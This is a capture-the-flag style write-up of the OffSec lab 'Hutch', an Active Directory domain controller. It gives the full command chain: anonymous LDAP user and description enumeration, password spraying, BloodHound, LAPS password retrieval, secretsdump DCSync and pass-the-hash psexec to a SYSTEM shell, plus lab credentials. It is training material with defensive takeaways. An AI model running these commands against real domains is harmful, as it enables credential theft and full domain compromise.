OffSec Proving Grounds Practice - Hutch Writeup

This is my writeup for Hutch, a Windows Active Directory machine from OffSec Proving Grounds Practice.

Compared with my previous AuthBy writeup, this lab was more focused on Active Directory enumeration and privilege escalation. The most important lesson was that a domain compromise does not always start with an exploit. In this case, the attack path came from careful LDAP enumeration, credential discovery, BloodHound analysis, and abuse of LAPS read permissions.

The overall attack path was:

  1. Run initial port and service enumeration
  2. Identify the target as an Active Directory domain controller
  3. Add the domain and hostname to /etc/hosts
  4. Enumerate LDAP users anonymously
  5. Discover a password in an LDAP user description field
  6. Validate domain users with Kerbrute
  7. Check AS-REP roasting, but find no roastable users
  8. Perform password spraying with the discovered password
  9. Obtain valid domain credentials
  10. Collect BloodHound data
  11. Discover that the compromised user can read LAPS password data
  12. Retrieve the LAPS password
  13. Use the recovered administrator password
  14. Perform DCSync and dump domain hashes
  15. Use pass-the-hash to gain a high-privilege shell

Target

Target IP: 192.168.194.122
Domain: hutch.offsec
Hostname: hutchdc.hutch.offsec

I exported the target IP as an environment variable:

export IP=192.168.194.122

1. Initial Enumeration

I started with an Nmap scan to identify open TCP ports and service versions:

nmap -sV -sC -n -Pn -p- --open $IP

Important open ports:

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

The scan strongly suggested that this target was an Active Directory domain controller because it exposed common DC services such as:

  • DNS on port 53
  • Kerberos on port 88
  • LDAP on ports 389 and 3268
  • SMB on port 445
  • WinRM on port 5985

The HTTP service on port 80 was Microsoft IIS 10.0. Nmap also showed several potentially risky WebDAV methods, including PUT, DELETE, MOVE, COPY, and PROPFIND.

However, the main attack path did not come from IIS. The more interesting direction was Active Directory enumeration.


2. Domain Enumeration with enum4linux-ng

I ran enum4linux-ng to collect initial SMB and LDAP information:

mkdir -p enum4linux
enum4linux-ng $IP -L -S -oJ enum4linux/hutch.json

The output confirmed the domain and domain controller information:

Domain : hutch.offsec
DC     : HUTCHDC

enum4linux domain discovery

After identifying the domain, I added the hostname and domain to /etc/hosts:

echo "$IP hutchdc.hutch.offsec hutchdc hutch.offsec" | sudo tee -a /etc/hosts

This helps tools resolve the domain and domain controller correctly.


3. LDAP User Enumeration

Next, I queried LDAP anonymously to enumerate domain users:

ldapsearch -x -H ldap://$IP -b "DC=hutch,DC=offsec" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "

The command returned multiple users:

Guest
rplacidi
opatry
ltaunton
acostello
jsparwell
oknee
jmckendry
avictoria
jfrarey
eaburrow
cluddy
agitthouse
fmcsorley

LDAP user enumeration

At this point, I saved the usernames into a file:

nano users.txt

This gave me a clean user list for Kerberos username validation, password spraying, and other AD attacks.


4. Enumerating LDAP Descriptions

LDAP can sometimes expose sensitive information in user attributes. One common field worth checking is the description attribute.

I queried all LDAP objects and searched for descriptions:

ldapsearch -x -H ldap://$IP -b "DC=hutch,DC=offsec" -s sub "(&(objectclass=*))" | grep description:

This revealed a password in a description field:

Password set to CrabSharkJellyfish192

LDAP description password discovery

This was the first major breakthrough.

Finding passwords in LDAP descriptions is a common Active Directory misconfiguration. It usually happens because administrators leave temporary passwords, onboarding notes, or account setup information in user attributes and forget to remove them.


5. Validating Users with Kerbrute

Before password spraying, I used Kerbrute to validate the usernames against Kerberos:

kerbrute userenum --dc $IP -d hutch.offsec users.txt

Valid users included:

This confirmed that the user list was valid and useful for further attacks.


6. AS-REP Roasting Attempt

I tested whether any users had Kerberos pre-authentication disabled:

impacket-GetNPUsers hutch.offsec/ -usersfile users.txt -format hashcat -dc-ip $IP -no-pass

This did not produce a usable AS-REP hash. The users did not have UF_DONT_REQUIRE_PREAUTH set.

This was still a useful check because AS-REP roasting is quick to test once a valid username list is available.


7. Password Spraying

Since I had a discovered password, I tested it against the domain users.

Before using the discovered password, I also tested some basic combinations and empty passwords.

SMB password spray with username as password

crackmapexec smb $IP -u users.txt -p users.txt

SMB password spray with username as password

WinRM password spray with username as password

crackmapexec winrm $IP -u users.txt -p users.txt

WinRM password spray with username as password

SMB password spray with empty password

crackmapexec smb $IP -u users.txt -p ""

The empty password test showed that the Guest account was disabled:

SMB  192.168.194.122  445  HUTCHDC  [-] hutch.offsec\Guest: STATUS_ACCOUNT_DISABLED

SMB empty password test

SMB password spray with discovered password

I then sprayed the password found in the LDAP description:

crackmapexec smb $IP -u users.txt -p "CrabSharkJellyfish192"

This resulted in a valid credential:

fmcsorley:CrabSharkJellyfish192

SMB password spray with discovered password

The valid domain credential was:

Username: fmcsorley
Password: CrabSharkJellyfish192
Domain: hutch.offsec

8. SMB Share Enumeration

With valid credentials, I checked SMB share access:

smbmap -H $IP -u fmcsorley -p CrabSharkJellyfish192

The result showed:

[+] IP: 192.168.194.122:445     Name: hutchdc.hutch.offsec      Status: Authenticated

Disk        Permissions     Comment
----        -----------     -------
ADMIN$      NO ACCESS       Remote Admin
C$          NO ACCESS       Default share
IPC$        READ ONLY       Remote IPC
NETLOGON    READ ONLY       Logon server share
SYSVOL      READ ONLY       Logon server share

I checked the readable shares, but I did not find anything useful there.

Since SMB shares did not provide a clear path forward, I moved to BloodHound enumeration.


9. BloodHound Collection

I used bloodhound-python with the valid domain credential:

bloodhound-python -u 'fmcsorley' -p 'CrabSharkJellyfish192' -ns $IP -d hutch.offsec -c all

BloodHound Python collection

Then I started Neo4j and BloodHound:

sudo neo4j start
bloodhound-start

I checked that the JSON files were created:

ls -lah *.json

After importing the data into BloodHound, I searched for the user fmcsorley.

BloodHound showed that fmcsorley had the ability to read the LAPS password on the computer object:

fmcsorley can ReadLAPSPassword on HUTCHDC.HUTCH.OFFSEC

BloodHound fmcsorley user analysis

BloodHound ReadLAPSPassword finding

This was the key privilege escalation path.


10. Understanding the LAPS Finding

LAPS stands for Local Administrator Password Solution. It is used to manage local administrator passwords for domain-joined computers.

If a domain user has permission to read LAPS password attributes, that user may be able to retrieve the local administrator password for a computer object.

In this lab, BloodHound showed that fmcsorley could read the LAPS password for:

HUTCHDC.HUTCH.OFFSEC

That meant I could try to retrieve the password and use it for administrative access.


11. Retrieving the LAPS Password

I used pyLAPS.py to retrieve the LAPS password:

./pyLAPS.py --action get -d "hutch.offsec" -u "fmcsorley" -p "CrabSharkJellyfish192" --dc-ip $IP

The tool returned a password:

HUTCHDC$:9frHC]P49vrJ17

pyLAPS password retrieval

The recovered password was:

9frHC]P49vrJ17

12. Validating Administrator Access

I tested whether the recovered password worked for the Administrator account:

crackmapexec smb $IP -u administrator -p "9frHC]P49vrJ17" -d hutch.offsec

Administrator password validation

The credential was valid, which meant I had administrative access.


13. DCSync with secretsdump

With administrative credentials, I used secretsdump to perform a DCSync-style dump and extract domain hashes:

impacket-secretsdump hutch.offsec/administrator@$IP

One of the recovered hashes was for the domain Administrator account:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:<ADMIN_NTLM_HASH>

secretsdump Administrator hash

At this point, I had a reusable NTLM hash for the Administrator account.

Note: when using pass-the-hash, the NTLM hash should be the hash recovered from secretsdump.


14. Pass-the-Hash with psexec

Finally, I used Impacket psexec with the Administrator NTLM hash:

impacket-psexec hutch.offsec/Administrator@$IP -hashes :<ADMIN_NTLM_HASH>

psexec pass-the-hash command

After authentication, I received a high-privilege shell:

whoami

Expected result:

nt authority\system

SYSTEM shell


15. Attack Chain Summary

The full attack chain was:

Nmap scan
Identify Active Directory domain controller
enum4linux-ng domain enumeration
Add hutch.offsec to /etc/hosts
Anonymous LDAP user enumeration
Find password in LDAP description
Validate users with Kerbrute
AS-REP roasting check fails
Password spray discovered password
Valid credential: fmcsorley / CrabSharkJellyfish192
SMB share enumeration
BloodHound collection
Find ReadLAPSPassword permission
Use pyLAPS to retrieve administrator password
Validate Administrator access
DCSync with secretsdump
Pass-the-hash with psexec
High-privilege shell

16. Key Takeaways

1. LDAP Enumeration Can Be Extremely Valuable

The initial foothold came from LDAP enumeration, not from exploiting a service directly.

The important command was:

ldapsearch -x -H ldap://$IP -b "DC=hutch,DC=offsec" -s sub "(&(objectclass=*))" | grep description:

Finding a password inside a user description field is a classic Active Directory misconfiguration.


2. Always Check User Attributes

In Active Directory environments, user attributes can leak sensitive information.

Useful attributes to inspect include:

  • description
  • info
  • comment
  • userPrincipalName
  • sAMAccountName
  • servicePrincipalName
  • memberOf

The description field was the critical one in this lab.


3. Password Spraying Should Be Controlled

After finding a password, I tested it against the domain user list using CrackMapExec.

In a real engagement, password spraying must be done carefully because of account lockout policies. In a lab environment, it is useful for understanding how reused or exposed passwords can lead to compromise.


4. BloodHound Helps Identify Non-Obvious Paths

SMB share enumeration did not reveal anything useful. BloodHound was what revealed the real privilege escalation path.

The important finding was:

fmcsorley can ReadLAPSPassword on HUTCHDC.HUTCH.OFFSEC

This shows why BloodHound is powerful: it helps identify privilege relationships that are hard to spot manually.


5. LAPS Permissions Must Be Restricted

LAPS is useful for managing local administrator passwords, but the ability to read LAPS passwords must be tightly controlled.

If a low-privileged domain user can read LAPS password attributes, that user may be able to compromise machines where the password applies.

In this lab, that permission led directly to administrative access.


6. DCSync Is a Full Domain Compromise Signal

Once I could run secretsdump successfully, the machine was effectively compromised at the domain level.

DCSync allows an attacker to replicate credential data from the domain controller. This can expose NTLM hashes for domain users, including privileged accounts.


17. Reflection

Hutch was a really useful Active Directory practice machine because it reinforced a realistic enumeration mindset.

The biggest lesson for me was:

Do not rush into exploits. Enumerate identity, permissions, and relationships first.

The path was not based on a single public CVE. It was a chain of Active Directory weaknesses:

  • Anonymous LDAP information disclosure
  • Password stored in a user description
  • Password reuse across a valid domain account
  • Over-permissive LAPS password read access
  • Administrator credential retrieval
  • DCSync and pass-the-hash

This lab also reminded me that after getting valid domain credentials, I should not only check SMB shares. I should also collect BloodHound data and look for permission-based privilege escalation paths.

For AD labs and real assessments, this is the mindset I want to keep improving:

Enumerate users → validate credentials → map permissions → identify attack paths → abuse only what is necessary

Commands Reference

Nmap

export IP=192.168.194.122
nmap -sV -sC -n -Pn -p- --open $IP

enum4linux-ng

mkdir -p enum4linux
enum4linux-ng $IP -L -S -oJ enum4linux/hutch.json

Add Hosts Entry

echo "$IP hutchdc.hutch.offsec hutchdc hutch.offsec" | sudo tee -a /etc/hosts

LDAP User Enumeration

ldapsearch -x -H ldap://$IP -b "DC=hutch,DC=offsec" -s sub "(&(objectclass=user))" | grep sAMAccountName: | cut -f2 -d" "

LDAP Description Enumeration

ldapsearch -x -H ldap://$IP -b "DC=hutch,DC=offsec" -s sub "(&(objectclass=*))" | grep description:

Kerbrute User Enumeration

kerbrute userenum --dc $IP -d hutch.offsec users.txt

AS-REP Roasting Check

impacket-GetNPUsers hutch.offsec/ -usersfile users.txt -format hashcat -dc-ip $IP -no-pass

Password Spraying

crackmapexec smb $IP -u users.txt -p users.txt
crackmapexec winrm $IP -u users.txt -p users.txt
crackmapexec smb $IP -u users.txt -p ""
crackmapexec smb $IP -u users.txt -p "CrabSharkJellyfish192"

SMB Share Enumeration

smbmap -H $IP -u fmcsorley -p CrabSharkJellyfish192

BloodHound Collection

bloodhound-python -u 'fmcsorley' -p 'CrabSharkJellyfish192' -ns $IP -d hutch.offsec -c all

Start BloodHound

sudo neo4j start
bloodhound-start

pyLAPS

./pyLAPS.py --action get -d "hutch.offsec" -u "fmcsorley" -p "CrabSharkJellyfish192" --dc-ip $IP

Validate Administrator Password

crackmapexec smb $IP -u administrator -p "9frHC]P49vrJ17" -d hutch.offsec

secretsdump

impacket-secretsdump hutch.offsec/administrator@$IP

psexec Pass-the-Hash

impacket-psexec hutch.offsec/Administrator@$IP -hashes :<ADMIN_NTLM_HASH>